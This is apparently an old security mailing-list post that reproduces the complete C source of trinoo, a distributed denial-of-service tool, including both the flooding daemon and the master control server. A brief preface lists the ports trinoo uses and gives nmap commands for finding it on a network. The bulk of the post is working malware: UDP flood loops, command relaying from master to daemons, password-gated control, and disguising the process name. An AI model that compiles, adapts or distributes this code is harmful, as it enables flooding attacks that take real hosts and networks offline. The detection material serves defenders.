Adam told me the list might be interested in seeing this... Below is the source code to trinoo (both master and slave). There is also blowfish code (ripped from eggdrop) that I didnt bother include...and I took the liberty of removing the cryptkey/passwords/servers that we're setup when I got it (as they could still be up and we wouldn't want anyone who reads the archive to be able to use them). This is the original variant... udp flood... I was told there now exists an mstream (most likely the same code, s/sendudp/stream/ ..kind of, since they used the sendudp for comunication and flooding, those would have to be seperated, but you get the idea). I didn't test this code, and only skimmed through.. but you'll note that the master server's interactive interface listens on 27665/tcp and it looks like it talks to the rest of the trinoo net with udp. (31335/udp on masters and 27444/udp on slaves.) The code doesnt look very easily customized.. so im guessing packet kiddies dont bother changing the ports. $ nmap -sU -p 31335,27444 net/mask; nmap -sT -p 27665 net/mask should do the job at detecting any trinoo on your network :) I'm guessing the FBI released bin probably does the equiv. of a mass xargs'ing for "trinoo" (not "trin00", whch isnt in this code at all.) and possibly checks the common ports for trinoo and the other floodnets. (I take no responsability, strictly for educational use... yada yada yada... I didn't code it, so leave me alone :) ) I any event, here it is: --------------------------------------------------------- /* trinoo daemon ns.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netdb.h> /* ----------------- strfix.h ----------------- */ #ifdef __GNUC__ #define strcpy(dst, src) \ ({ \ char *_out = (dst); \ if (sizeof(dst) <= sizeof(char *)) \ _out = strcpy(_out, (src)); \ else { \ *_out = 0; \ _out = strncat(_out, (src), sizeof(dst) - 1); \ } \ _out; \ }) #define strcat(dst, src) \ ({ \ char *_out = (dst); \ if (sizeof(dst) <= sizeof(char *)) \ _out = strcat(_out, (src)); \ else { \ size_t _size = sizeof(dst) - strlen(_out) - 1; \ if (_size > 0) _out = strncat(_out, (src), _size); \ } \ _out; \ }) #endif /* ----------------- END of strfix.h ----------------- */ /* #define PROCNAME "httpd" */ char *master[] = { "<ip removed>", "<ip removed>", "<ip removed>", NULL }; #define DEFSIZE 1000 int main(int argc, char *argv[]) { int sock, fromlen, numread, i, sock2, bewm, timerz=120, hoe, foke; struct sockaddr_in sa, from, to; struct hostent *he; char buf[1024]; char arg1[4], *arg2, pass[10], *temp, *unf; void *buf2; int start, end, stop=0,ablespoof=0; #ifdef PROCNAME for (bewm = argc-1; bewm >= 0; bewm--) memset(argv[bewm], 0, strlen(argv[bewm])); strcpy(argv[0], PROCNAME); #endif buf2 = (void*)malloc(DEFSIZE); if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror("socket"); exit(-1); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = htons(27444); to.sin_family = AF_INET; if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); exit(-1); } hello(); foke = fork(); if (foke > 0) { hoe = setpgid(foke, foke); exit(0); } if (foke == -1) exit(-1); while (1) { bzero(arg1, 1024); bzero(buf, 1024); fromlen=sizeof(from); if ((numread = recvfrom(sock, buf, 1024, 0, (struct sockaddr *)&from, &fromlen)) < 0) { perror("recvfrom"); continue; } if (strstr("l44", buf)==0) { arg2 = malloc(sizeof(buf)); sscanf(buf, "%s %s %s", arg1, pass, arg2); if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) { if(strcmp(arg1, "aaa")==0) { to.sin_addr.s_addr = inet_addr(arg2); start = time(NULL); end = start + timerz; stop = 0; if((sock2 = getsock()) != -1) while (!stop) { to.sin_port = htons(rand()%65534); sendto(sock2,buf2,sizeof(buf2), 0,(struct sockaddr*)(&to),sizeof(to)); if (time(NULL) > end) { close(sock2); stop = 1; } } stop=0; } if(strcmp(arg1, "bbb")==0) if (atoi(arg2) > 1000) timerz = 500; else timerz = atoi(arg2); if(strcmp(arg1, "shi")==0) hello(); if(strcmp(arg1, "png")==0) sendudp((char *)inet_ntoa(from.sin_addr),"PONG",31335); if(strcmp(arg1, "d1e")==0) exit(1); if(strcmp(arg1, "rsz")==0) { free(buf2); buf2 = malloc(atoi(arg2)); bzero(buf2,sizeof(buf2)); } if(strcmp(arg1, "xyz")==0) { start = time(NULL); end = start + timerz; unf = malloc(sizeof(arg2)); if((sock2 = getsock()) != -1) while (!stop) { bzero(unf, sizeof(unf)); strcat(unf,arg2); temp=strtok(unf,":"); while((temp = strtok(NULL,":"))!=NULL) { printf("%s\n",temp); to.sin_addr.s_addr = inet_addr(temp); to.sin_port = htons(rand()%65534); if (!stop) sendto(sock2, buf2, sizeof(buf2), 0, (struct sockaddr*)(&to), sizeof(to)); if (time(NULL) > end) { close(sock2); stop = 1; } } } free(unf); stop=0; } free(arg2); } } } } int sendudp(char *host, char *data,int port) { int unf; struct sockaddr_in out; out.sin_family = AF_INET; out.sin_addr.s_addr = inet_addr(host); out.sin_port = htons(31335); if ((unf = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return -1; sendto(unf,data,strlen(data),0,(struct sockaddr*)&out,sizeof(out)); return 1; } int hello() { int i=0; while (master[i] != NULL) { sendudp(master[i], "*HELLO*", 31335); i++; } } int getsock() { int i; if ((i = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) != -1) return i; else return -1; } --------------------------------------------------------- /* trinoo (for master servers) master.c */ #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <fcntl.h> #include "strfix.h" /* crypt key encrypted with the key 'bored'(so hex edit cannot get key easily?) */ #define CRYPTKEY "<removed>" #ifdef CRYPTKEY #define VERSION "v1.07d2+f3+c" #else #define VERSION "v1.07d2+f3" #endif #define PROMPT "trinoo>" /* FILE holding Bcasts. */ #define OUTFILE "..." int checkonip(char *); int sendtolist(int, char *, int); #ifdef CRYPTKEY char *encrypt_string(char *, char *); char *decrypt_string(char *, char *); #endif main(int argc, char *argv[]) { struct sockaddr_in master, from, tcpmast, tcpconn; int sock, sock2, fromlen, numread, bewm=0, auth, maxfd, alt; int list=1, i, foke, hoe, blist, argi, outport=27444,ttout=300,idle=0; int pongr=0; FILE *out; char buf[1024], outbuf[1024], old, comm[15], *arg1; char pass[8], *uptime, *dec, *enc; long lookip; fd_set myfds; time_t now, hr, min, onlineat; struct timeval tv; struct hostent *he; old = 0 - 28; if (argv[1]) {if (strcmp(argv[1],"---v")==0){printf("trinoo %s\n",VERSION);exit(0);}} sprintf(pass, "l44adsl"); if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { perror("sock"); exit(-1); } if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("sock"); exit(-1); } printf("?? "); fgets(buf, 1024, stdin); buf[strlen(buf) - 1] = 0; if (strcmp((char *)crypt(buf, "0n"), "0nm1VNMXqRMyM")!=0) { exit(-1); } printf("trinoo %s [%s:%s]\n", VERSION, __DATE__, __TIME__); bzero((char *) &tcpmast, sizeof(tcpmast)); tcpmast.sin_family = AF_INET; tcpmast.sin_addr.s_addr = htonl(INADDR_ANY); tcpmast.sin_port = htons(27665); if (bind(sock2, (struct sockaddr *) &tcpmast, sizeof(tcpmast)) == -1) { perror("bind"); exit(-1); } fcntl(sock2, F_SETFL, O_NONBLOCK); listen(sock2, 5); master.sin_family = AF_INET; master.sin_addr.s_addr = INADDR_ANY; master.sin_port = htons(31335); if (bind(sock, (struct sockaddr *)&master, sizeof(master)) == -1) { perror("bind"); exit(-1); } foke = fork(); if (foke > 0) { hoe = setpgid(foke, foke); exit(0); } tv.tv_sec = 1; tv.tv_usec = 0; while (1) { usleep(100); FD_ZERO(&myfds); FD_SET(sock, &myfds); FD_SET(sock2, &myfds); if (bewm > 0) FD_SET(bewm, &myfds); if (select(FD_SETSIZE, &myfds, NULL, NULL, &tv)) { if (FD_ISSET(sock, &myfds)) { bzero(buf, 1024); fromlen=sizeof(from); if ((numread == recvfrom(sock, buf, 1024, 0, (struct sockaddr *)&from, &fromlen)) == -1) { perror("read"); continue; } if (buf[0] == old) sprintf(buf, "*HELLO*"); if (strcmp("*HELLO*", buf)==0) { if (checkonip((char *)inet_ntoa(from.sin_addr)) > 0) { out = fopen(OUTFILE, "a"); sprintf(outbuf, "%s",(char *)inet_ntoa(from.sin_addr)); #ifdef CRYPTKEY enc = encrypt_string(decrypt_string("bored", CRYPTKEY), outbuf); sprintf(outbuf, "%s", enc); #endif fprintf(out, "%s\n", outbuf); fflush(out); fclose(out); chmod(OUTFILE, 0600); if (bewm>0) { sprintf(outbuf, "NEW Bcast - %s\n",inet_ntoa(from.sin_addr)); write(bewm, outbuf, strlen(outbuf)); } } } if (strcmp("PONG", buf)==0) if (bewm>0) { pongr++; sprintf(outbuf, "PONG %d Received from %s\n",pongr, inet_ntoa(from.sin_addr)); write(bewm, outbuf, strlen(outbuf)); } } if (FD_ISSET(sock2, &myfds)) { fromlen = sizeof(struct sockaddr); if (list > 0) { bewm = accept(sock2, (struct sockaddr *)&tcpconn, &fromlen); auth = 0; list = 0; idle=time(NULL); } else { alt = accept(sock2, (struct sockaddr *)&tcpconn, &fromlen); close(alt); } if (auth == 1) { sprintf(outbuf, "Warning: Connection from %s\n",(char *)inet_ntoa(&tcpconn.sin_addr)); write(bewm, outbuf, strlen(outbuf)); } } if (FD_ISSET(bewm, &myfds)) { bzero(buf, 1024); numread = read(bewm, buf, 1024); if (numread < 1) { close(bewm); bewm = 0; list = 1; } for (i=0;i<strlen(buf);i++) if (buf[i] == '\n') buf[i] = 0; for (i=0;i<strlen(buf);i++) if (buf[i] == '\r') buf[i] = 0; if (!auth) { if (strcmp((char *)crypt(buf, "be"), "beUBZbLtK7kkY")==0) { sprintf(outbuf, "trinoo %s..[rpm8d/cb4Sx/]\n\n\n", VERSION); write(bewm, outbuf, strlen(outbuf)); auth = 1; } else { close(bewm); bewm = 0; list = 1; } } if (strcmp(buf, "bcast")==0) { sprintf(outbuf, "Listing Bcasts.\n\n"); write(bewm, outbuf, strlen(outbuf)); out = fopen(OUTFILE, "r"); if (out==NULL) { sprintf(outbuf, "ERROR: Cannot open Bcasts file. Will create a new BLANK one.\n"); write(bewm, outbuf, strlen(outbuf)); out = fopen(OUTFILE, "w"); if (out==NULL) { sprintf(outbuf, "ERROR: Cannot even create a blank Bcasts. Mine as well shutdown the server.\n"); write(bewm, outbuf, strlen(outbuf)); } } else { blist=0; while (fgets(outbuf,1024,out) != NULL) { if (outbuf[strlen(outbuf)] == '\n') outbuf[strlen(outbuf) - 1] = 0; #ifdef CRYPTKEY dec = decrypt_string(decrypt_string("bored", CRYPTKEY), outbuf); sprintf(outbuf, "%s\n", dec); #endif if (strlen(outbuf) > 3) { blist++; write(bewm, outbuf, strlen(outbuf)); } } fclose(out); chmod(OUTFILE, 0600); sprintf(outbuf, "\nEnd. %d Bcasts total.\n", blist); write(bewm, outbuf, strlen(outbuf)); } } if (strcmp(buf, "die")==0) { sprintf(outbuf, "Shutting down.\nNOTICE: Better restart me?\n"); write(bewm, outbuf, strlen(outbuf)); close(bewm); close(sock); close(sock2); sleep(3); exit(0); } if (strcmp(buf, "quit")==0) { sprintf(outbuf, "bye bye.\n"); write(bewm, outbuf, strlen(outbuf)); close(bewm); bewm=0; list=1; } arg1 = malloc(sizeof(buf)); bzero(comm,sizeof(comm)); bzero(arg1,sizeof(arg1)); sscanf(buf, "%s %s", comm, arg1); if (strcmp(comm, "mtimer")==0) { if (strlen(arg1) < 1) { sprintf(outbuf, "mtimer: usage: mtimer <seconds to DoS>\n"); write(bewm, outbuf, strlen(outbuf)); } else { argi = atoi(arg1); if (argi > 2000) { argi = 500; sprintf(outbuf, "mtimer: You specified amount over 2000, set to 500!\n"); write(bewm, outbuf, strlen(outbuf)); } if (argi < 1) { argi = 300; sprintf(outbuf, "mtimer: You specified amount less than one. Set to 300!\n"); write(bewm, outbuf, strlen(outbuf)); } sprintf(outbuf, "mtimer: Setting timer on bcast to %d.\n", argi); write(bewm, outbuf, strlen(outbuf)); sprintf(outbuf, "bbb %s %d", pass, argi); sendtolist(outport, outbuf, strlen(outbuf)); } } if (strcmp(comm, "dos")==0) { if (strlen(arg1) < 1) { sprintf(outbuf, "DoS: usage: dos <ip>\n"); write(bewm, outbuf, strlen(outbuf)); } else { sprintf(outbuf, "DoS: Packeting %s.\n", arg1); write(bewm, outbuf, strlen(outbuf)); sprintf(outbuf, "aaa %s %s", pass, arg1); sendtolist(outport, outbuf, strlen(outbuf)); } } if (strcmp(comm, "mdie")==0) { if (strcmp((char *)crypt(arg1, "Er"), "ErDVt6azHrePE")==0) { sprintf(outbuf, "mdie: Disabling Bcasts.\n"); write(bewm, outbuf, strlen(outbuf)); sprintf(outbuf, "d1e %s", pass); sendtolist(outport, outbuf, strlen(outbuf)); } else { sprintf(outbuf, "mdie: password?\n"); write(bewm, outbuf, strlen(outbuf)); } } if (strcmp(comm, "mping")==0) { sprintf(outbuf, "mping: Sending a PING to every Bcasts.\n"); write(bewm, outbuf, strlen(outbuf)); pongr=0; sprintf(outbuf, "png %s", pass); sendtolist(outport, outbuf, strlen(outbuf)); } if (strcmp(comm, "mdos")==0) { if (strlen(arg1) < 3) { sprintf(outbuf, "MDoS: usage: mdos <ip1:ip2:ip3:>\n"); write(bewm, outbuf, strlen(outbuf)); } else { sprintf(outbuf, "MDoS: Packeting %s.\n", arg1); write(bewm, outbuf, strlen(outbuf)); sprintf(outbuf, "xyz %s 123:%s:", pass, arg1); sendtolist(outport, outbuf, strlen(outbuf)); } } if (strcmp(comm, "info")==0) { sprintf(outbuf, "This is the \"trinoo\" AKA DoS Project master server. [%s]\nCompiled: %s %s\n", VERSION, __TIME__, __DATE__); write(bewm, outbuf, strlen(outbuf)); } if (strcmp(comm, "msize")==0) if (atoi(arg1) > 0) { sprintf(outbuf, "rsz %d", atoi(arg1)); sendtolist(outport, outbuf, strlen(outbuf)); } else { sprintf(outbuf, "msize: usage: msize <size>\n"); write(bewm,outbuf,strlen(outbuf)); } if (strcmp(comm, "nslookup")==0) { if (strlen(arg1) < 3) { sprintf(outbuf, "nslookup: usage: nslookup <host>\n"); write(bewm, outbuf, strlen(outbuf)); } else { he = gethostbyname(arg1); if (he == NULL) { sprintf(outbuf, "nslookup: host not found[%s]\n", arg1); write(bewm, outbuf, strlen(outbuf)); } else { memcpy(&lookip, (he->h_addr), 4); sprintf(outbuf, "nslookup: resolved %s to %s\n", arg1, (char *)inet_ntoa(lookip)); write(bewm, outbuf, strlen(outbuf)); } } } if (strcmp(comm,"killdead")==0) { sprintf(outbuf,"killdead: Attempting to kill all dead broadcast\n"); write(bewm,outbuf,strlen(outbuf)); sprintf(outbuf,"shi %s",pass); sendtolist(outport,outbuf,strlen(outbuf)); sprintf(outbuf,"%s-b",OUTFILE); rename(OUTFILE,outbuf); out = fopen(OUTFILE,"a"); fclose(out); } if (strcmp(comm,"usebackup")==0) { sprintf(outbuf,"usebackup: Switching to backup data file, If exist.\n"); write(bewm,outbuf,strlen(outbuf)); sprintf(outbuf,"%s-b",OUTFILE); if ((out = fopen(outbuf,"r"))!=NULL) { fclose(out); rename(outbuf,OUTFILE); } } if (strcmp(comm, "help")==0) { if (strlen(arg1) < 3) { sprintf(outbuf, "Commands: info bcast mping mtimer dos mdos mdie quit nslookup\nDon't know what something is? 'help command'\n"); write(bewm, outbuf, strlen(outbuf)); } else { if (strcmp(arg1, "info")==0) { sprintf(outbuf, "help info: Shows version/compile date of server\n"); write(bewm, outbuf, strlen(outbuf)); } if (strcmp(arg1, "bcast")==0) { sprintf(outbuf, "help bcast: Lists broadcasts.\n"); write(bewm, outbuf, strlen(outbuf)); } if (strcmp(arg1, "mping")==0) { sprintf(outbuf, "help mping: Sends a PING to every Bcasts.\n"); write(bewm, outbuf, strlen(outbuf)); } if (strcmp(arg1, "mtimer")==0) { sprintf(outbuf, "help mtimer: Sets amount of seconds the Bcasts will DoS target.\nUsage: mtimer <seconds>\n"); write(bewm, outbuf, strlen(outbuf)); } if (strcmp(arg1, "dos")==0) { sprintf(outbuf, "help dos: Packets target.\nUsage: dos <ip>\n"); write(bewm, outbuf, strlen(outbuf)); } if (strcmp(arg1, "mdos")==0) { sprintf(outbuf, "help mdos: WARNING *BETA*\nPackets Targets at same time.\nUsage: mdos <target 1:target 2:target 3:>\n"); write(bewm, outbuf, strlen(outbuf)); } if (strcmp(arg1, "mdie")==0) { sprintf(outbuf, "help mdie: WARNING DO NOT USE!\nDisables all Bcasts. Makes the daemon die.\n"); write(bewm, outbuf, strlen(outbuf)); } if (strcmp(arg1, "quit")==0) { sprintf(outbuf, "help quit: Closes this connection!\n"); write(bewm, outbuf, strlen(outbuf)); } if (strcmp(arg1, "nslookup")==0) { sprintf(outbuf, "help nslookup: Resolves hostname to a IP Address.\nUsage: nslookup <host>\n"); write(bewm, outbuf, strlen(outbuf)); } if (strcmp(arg1, "mstop")==0) { sprintf(outbuf, "help mstop: Attempts to stop DoS.\n"); write(bewm, outbuf, strlen(outbuf)); } } } if (bewm>0) { sprintf(outbuf, "%s ", PROMPT); write(bewm, outbuf, strlen(outbuf)); } free(arg1); idle=time(NULL); } } if (bewm>0) if ((time(NULL) - idle) > ttout) { close(bewm); bewm = 0; list = 1; } } } int checkonip(char *ip) { int blah=0; char buf[1024], *dec; FILE *out; out = fopen(OUTFILE, "r"); if (out!=NULL) { while(fgets(buf,1024,out) != NULL) { if (buf[strlen(buf) - 1] == '\n') buf[strlen(buf) - 1] = '\0'; #ifdef CRYPTKEY dec = decrypt_string(decrypt_string("bored", CRYPTKEY), buf); sprintf(buf, "%s", dec); #endif if (strcmp(ip, buf)==0) blah = 1; } fclose(out); } if (blah > 0) return -1; else return 1; } int sendtolist(int port, char *outbuf, int len) { struct sockaddr_in out; int sock, i; char buf[1024], *dec; FILE *outread; sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); out.sin_family = AF_INET; out.sin_port = htons(port); outread = fopen(OUTFILE, "r"); if (outread) { while (fgets(buf, 1024, outread)!=NULL) { if (buf[strlen(buf) - 1] == '\n') buf[strlen(buf) - 1] = '\0'; #ifdef CRYPTKEY dec = decrypt_string(decrypt_string("bored", CRYPTKEY), buf); sprintf(buf, "%s", dec); #endif if (strlen(buf) > 3) { out.sin_addr.s_addr = inet_addr(buf); sendto(sock, outbuf, len, 0, (struct sockaddr *)&out, sizeof(out)); } } fclose(outread); } close(sock); } -- Joshua D. McKay jmckay\@\wolsi.com